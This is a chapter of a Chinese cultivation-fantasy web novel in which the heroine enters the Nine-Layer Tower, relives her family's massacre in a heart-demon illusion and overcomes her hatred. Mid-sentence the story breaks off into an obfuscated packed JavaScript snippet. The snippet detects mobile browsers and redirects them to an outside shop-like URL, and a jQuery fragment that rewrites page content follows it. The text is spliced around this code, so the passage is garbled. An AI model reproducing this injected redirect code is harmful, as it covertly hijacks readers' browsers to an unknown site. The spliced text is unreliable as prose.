283. 又入九重塔
作品:《重生成死对头的师尊后》 二十八位脉主身着道袍,按紫微、贪狼、七杀等星位分列坛周,个个气息沉凝若定,威压内蕴,皆是七转巅峰修为。
天宫掌门南溟子端坐阵坛中央,周身卦文密密麻麻、氤氲如雾,虽昨夜推演天机遭了反噬,但此刻他依旧尘渊岳峙,温和沉肃的气息笼罩整个阵坛。
见厉无渡与百里忍冬到来,南掌门张开双眼,向他们微微颔首示意。
百里忍冬与厉无渡回以一礼,行至阵前侧立,静候布阵。
待二人站定,南溟子抬手轻捻卦诀,沉缓开口:“诸脉听令,启周天星斗大阵,引星力开九重塔!”
话音落下,二十八位脉主沉声应和,同时掐动印诀。
下一瞬,天地色变。
万千星辉自九天云霄轰然坠落,化作银蓝色光带纵横交错,缠上坛面符文,与天地灵脉、天宫大阵相连。
南溟子掌心重重按向阵眼,引动天地之力与星斗大阵共振,亿万星子汇聚成一道通天光柱,浩瀚如山海的力量直冲云霄,撕开层层云海的屏障。
旋即只见云海深处,一座古朴巍峨的塔身缓缓显形——塔基沉于云海深处,塔尖直插九霄云巅,九层塔身泛着古朴厚重的玄光,镌刻着无人能懂的上古符文,每一层都流转着混沌天机。
正是世间仅有的半仙器——九重塔。
塔身轻震,发出悠远厚重的钟鸣,响彻整个天宫,最底层的塔门缓缓敞开,其内透出莫测的混沌光晕。
南溟子的气息又萎靡了一些,有离得近的脉主想去搀扶他,却被他挥挥手拒绝了。
南溟子靠自己的力量站起身,强打精神叮嘱道:“二位小友,应你们所请,我天宫已请出九重塔提前降世。塔内有心魔幻境和重重险劫,皆不可小觑,祝二位平安无事,顺利寻得机缘。”
百里忍冬与厉无渡躬身谢过,伸手紧紧相握,眼底皆是一往无前的坚定。
他们并肩朝着敞开的九重塔门走去,晨光裹着阵法造就的星辉落在二人身上,将他们的身影拉得修长。待到二人踏入塔门,混沌的光晕瞬间便将他们包裹,九重塔塔身微微震颤,逐渐关上了大门。
阵坛上的星辉渐渐敛去,南溟子与二十八脉主望着安静下来的九重塔,等待着百里忍冬与厉无渡闯塔的结果。
……
踏入九重塔门的刹那,厉无渡只觉周身混沌气流骤然翻涌,方才与百里忍冬相握的掌心一空,身边熟悉的气息像是被什么东西猛然阻隔著,变得微弱难辨。
紧接着便是焕然一新的天地。
厉无渡闭了闭眼,再睁开时,她已置身于一片漫山遍野的淡紫色曼陀罗。
风一吹,花香软绵,带着暖意,熟悉万分。
——九重塔第一层的规则:唯有独自直面最不堪、最执着、最刻骨的心魔,并堪破,才算通过。
前世今生,这是厉无渡第三次走这个流程,是以她并不意外,也不惧怕,反倒因为眼前熟悉的景象而流露出怀念之色。
这是她降生之地,凡间一个不起眼的小村落,没有魔界的血腥厮杀,没有正魔的针锋相对,只是家家户户务农打猎,偏安一隅的普通百姓,世代隐居于此,男耕女织,安稳度日。
不远处的小院炊烟袅袅,母亲正坐在院中的石凳上捻着线,为她缝制新的小衣,父亲扛着一把旧柴刀从后山归来,看见蹲在花丛里捉蝶的小小女童,便会放下东西,笑着伸手将她抱起,举过头顶。
“阿芜,慢些跑,别摔了。”母亲温柔的声音落在耳侧,真实得触手可及。
小小的厉无渡扎着两个小揪,笑得眉眼弯弯,眼底没有半分后来的凛冽与桀骜,只有不谙世事的干净纯粹。
她伸手便要扑进父母怀中,可指尖刚要触到母亲温热的衣袖,这片温馨之景便骤然碎裂。
“轰——”
一道白衣剑光自天际劈落,如斩碎人间的利刃,直直落在院落中央。
烟尘四起,花丛被剑气绞得粉碎,淡紫的花瓣染了鲜红的血,触目惊心。
来人一身剑修道袍,身姿挺拔,面容清秀,眉宇间带着高高在上的冷漠,手中长剑滴着血,正是阿芜父亲的血。
——温琼枝。
剑宗琼花峰峰主,她看上了阿芜母亲眼中的天生灵脉,而作为高贵的修仙者,凡人不过是随手碾死的蝼蚁,她看上了蝼蚁身上的东西,自然便无需犹豫,动手取了便是。
至于蝼蚁的死活,谁在乎?
厉无渡看着温琼枝一剑抹了父亲的脖颈,看着父亲高大的身躯轰然倒地,看着母亲被挑在剑尖上垂死挣扎,嘶声惨叫。
她还记得儿时那撕心裂肺的恐惧,和那份恨到极致,恨不得啖其血肉的、伴随了她两百余年的痛苦。
温热的血溅了满院,一夕之间,满门被屠,鸡犬不留。昔日温馨的家,变成了人间炼狱,血流成河,将院中的花草尽数染成了刺目的猩红。
这是厉无渡刻入神魂的噩梦,是她两世以来,最深的心魔。
前世的她,便是抱着这份血海深仇,苟延残喘,一步步从尘埃里爬起,入魔窟,练魔功,杀尽阻碍,登顶魔尊之位,亲手将温琼枝挫骨扬灰,让她尝遍了自己当年所受的痛苦。
可复仇之后,她没有半分解脱,只觉得满心荒芜,如同行尸走肉,仇恨成了她唯一的支撑,也成了锁死她的枷锁。
而此刻,心魔幻境又将这最惨烈的一幕,一丝不差地重现在她眼前。
空气中没有声音,却有无数无形的蛊惑,顺着她的毛孔,钻入她的神魂,在她心底疯狂叫嚣:
——杀了她!
——温琼枝杀了你全家,此仇不共戴天!
——拿起刀,将她千刀万剐,让她血债血偿!
——你是魔尊,你手握生杀大权,仇恨才是你的道,唯有杀戮,才能平息你心中的痛!
幻境之中,温琼枝持剑而立,背对着她,仿佛就是待宰的羔羊,只要她动手,便能一雪前耻,将这噩梦彻底碾碎。
厉无渡的指尖,不自觉地泛起了凛冽的魔元。
前世的恨意,儿时的剧痛,如同潮水般翻涌上来,几乎要将她吞噬,令她的经脉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17264006|158912||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
微微震颤,体内三股刚刚平稳的力量险些再次暴动。
——这便是心魔幻境的险恶之处,只要厉无渡禁不住蛊惑,被心魔驱使,擅动魔气进行攻击,那她必定会因体内力量失衡暴动而死在这场试炼之中。
厉无渡垂眸,看着自己的手。
这双手,前世染满鲜血,为了复仇,杀过敌人,也误伤过无辜,被仇恨驱动,活成了自己最讨厌的模样。
可这一世,不一样了。
她不再是那个孤苦无依、只能靠仇恨活下去的小孤女。
她有了百里忍冬。
那个愿意为她挡尽天下风雨,为她与天道为敌,两世都甘愿为她付出一切的人。
因为百里忍冬,厉无渡才记起,原来这世间,除了仇恨,还有牵挂;除了杀戮,还有温柔;除了孤身一人,还有人可以并肩同行。
是他,让她重新拾回了爱与被爱的能力。
厉无渡缓缓闭上眼,深吸了一口气。
幻境中的血腥气依旧浓烈,温琼枝的身影依旧刺眼,心底的蛊惑依旧疯狂,可她眼底的戾气,却在一点点消散。
佛曰:一切有为法,如梦幻泡影,如露亦如电,应作如是观。
仇恨是什么?
是执念,是枷锁,是困在过往地狱里,不肯放过自己的牢笼。
她早已报了仇,温琼枝早已魂飞魄散,这幻境里的一切,不过是她心底不肯放下的执念,是心魔用来困住她的幻象。
执着于恨,便永远活在过去的痛苦里;执着于仇,便永远看不见眼前的光明。
前世的她,被仇恨困了一生,活得疲惫不堪,满目疮痍。
这一世,她不想再重蹈覆辙。
更何况,或许父母当年拼尽性命护她活下去,也不是为了要她一辈子活在仇恨里,变成一个只会杀戮的魔头。
他们要的,更可能是她的平安、顺遂,是她能好好活着,感受世间的温暖,拥有属于自己的幸福。
而她的幸福,从来不是复仇,不是称霸三界,不是让天下人畏惧。
是百里忍冬。
是那个两世都为她奔赴死亡的人。
厉无渡缓缓睁开眼,眼底再无半分戾气与恨意,只剩下一片澄澈通透,如雨后晴空,如古井无波,安宁而释然。
一念之间,幻境中漫天的血色瞬间褪去,漫山遍野的曼陀罗重新绽放出淡紫的花,温琼枝的身影,父母惨死的画面,如同碎裂的镜面,寸寸消散。
那些蛊惑人心的声音,也随之烟消云散。
“仇恨如刃,握得越紧,伤己越深。”厉无渡轻声开口,声音平静,带着对过往的彻底告别,“我不恨了,也放过自己了。”
她放下了刀,也放下了执念,放下了仇恨,放下了困了自己两世的噩梦。
从此,过往皆为序章,前尘一笔勾销。
她不再是被仇恨驱动的魔尊,她是厉无渡,是有爱人相伴,有前路可赴,有心之所向的厉无渡。
这份爱,不是软肋,是她的铠甲;不是负累,是她的道心。

